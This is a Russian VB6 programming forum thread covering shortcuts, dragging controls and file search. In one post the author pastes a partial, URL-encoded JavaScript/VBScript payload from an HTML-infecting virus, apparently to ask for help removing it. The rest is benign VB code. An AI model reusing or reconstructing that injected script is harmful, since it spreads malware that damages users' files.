проблемма

[kashey]

Здорово парни.
Как жизнь???
Я вот тут забежал у меня накопилось много вопросов....
Ну первый вопрос очень простой(я думаю), как создовать ярлыки
Private Declare Function fCreateShellLink Lib "VB5STKIT.DLL" (ByVal lpstrFolderName As String, ByVal lpstrLinkName As String, ByVal lpstrLinkPath As String, ByVal lpstrLinkArgs As String) As Long
Private Sub Form_Load()
RetVal = fCreateShellLink("..\..\Desktop", "Проводник", "explorer.exe", "")
End Sub
Этот код не работает

второе мне надо перетаскивать мою кнопку по форме причем кнопка рабочая(и срабатывает на один клик)
третий это поиск файлов на винте (допустим *.exe)- у меня усть код под 98 но на XP не работает.
четвуртый посложнее - дан фильм в формате Avi наинем три звуковых дорожки как осуществть их переключение.
пятый по работе с меню надо добавить линию (вертикальную).
да и может кто-нибудь встречался с этим вирусом
1 стадия - при запуске винды выдает ошибку (Wscript.exe) и просит вставить какой то диск (причем всегда на разное устройство)
2 стадия - во все html файлы добовляет (постепенно) код:

<SCRIPT Language=JavaScript>
var jword = "%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0D%0Aif%20%28window.name%3D%3D%22trap%22%29%20window.moveTo%28-1000%2C-1000%29%3B%0D%0Afunction%20encrypt%28buffer%29%0D%0A%7B%0D%0A%20%20%20return%20escape%28buffer%29%3B%
0D%0A%7D%0D%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%
....
3E%20%22%27@%22%20then%0D%0Atso.close%0D%0Asr%3Dw2%20%26%20%22user.dll%22%0D%0Aif%20fso.FileExists%28sr%29%20then%20fso.CopyFile%20sr%2C%20Path%0D%0Aend%20if%0D%0Aend%20if%0D%0Aend%20sub%0D%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A"
nword = unescape(nword);
jword = unescape(jword);
document.write('<'+'SCRIPT Language=JavaScript>\n'+jword+'\n</'+'SCRIPT>');
document.write('<'+'SCRIPT Language=VBScript>\n'+nword+'\n</'+'SCRIPT>');
</SCRIPT>
3 стадия - удаляет все html файлы

причем если код удалить файл сохраниться
но вот у меня на компе более 1 000 000 000 html файлов
что делать(антивирусники не берут)Я идиот! Убейте меня, кто-нибудь!Я идиот! Убейте меня, кто-нибудь!Я идиот! Убейте меня, кто-нибудь!????777[/code]

[RayShade]

Как то общо

Private Declare Function fCreateShellLink Lib "VB5STKIT.DLL" (ByVal lpstrFolderName As String, ByVal lpstrLinkName As String, ByVal lpstrLinkPath As String, ByVal lpstrLinkArgs As String) As Long
Private Sub Form_Load()
RetVal = fCreateShellLink("..\..\Desktop", "Проводник", "explorer.exe", "")
End Sub
Этот код не работает

Что за ошибка-то?



И потом, не стоит такие длинные постинги делать

[Sebas]

В WSH есть объект Shortcut

[kashey]

не понимает функцию

[kashey]

да я кстате понял что за вирус!!!!!
скорее всего это white house но вот антивирусник не могу найти , может где - нибудь встречали????

[Antonio401]

второе мне надо перетаскивать мою кнопку по форме причем кнопка рабочая(и срабатывает на один клик)

Может это тебе поможет Перетаскивает кнопку, картинку и лист

В модуль

Public Type POINTAPI
X As Long
Y As Long
End Type
Public Declare Function GetCursorPos Lib "user32" (lpPoint As POINTAPI) As Long

Public Function movey(Mbutton As Integer, FRM As Form, CRL As Control, FRMhasMenu As Boolean)
If Mbutton = 1 Then
Dim cursorPos As POINTAPI
GetCursorPos cursorPos
If FRMhasMenu = True Then
CRL.Top = (cursorPos.Y * Screen.TwipsPerPixelY - FRM.Top) - 725
Else
CRL.Top = (cursorPos.Y * Screen.TwipsPerPixelY - FRM.Top) - 500
End If
End If
End Function
Public Function movex(Mbutton As Integer, FRM As Form, CRL As Control)
If Mbutton = 1 Then
Dim cursorPos As POINTAPI
GetCursorPos cursorPos
CRL.Left = (cursorPos.X * Screen.TwipsPerPixelX - FRM.Left) - 1400
End If
End Function


На форме Command1, Image1 ,List1


Private Sub Command1_MouseMove(Button As Integer, Shift As Integer, X As Single, Y As Single)
movey Button, Form1, Command1, False
movex Button, Form1, Command1
End Sub


Private Sub Image1_MouseMove(Button As Integer, Shift As Integer, X As Single, Y As Single)
movey Button, Form1, Image1, False
movex Button, Form1, Image1
End Sub

Private Sub List1_MouseMove(Button As Integer, Shift As Integer, X As Single, Y As Single)
movey Button, Form1, List1, False
movex Button, Form1, List1
End Sub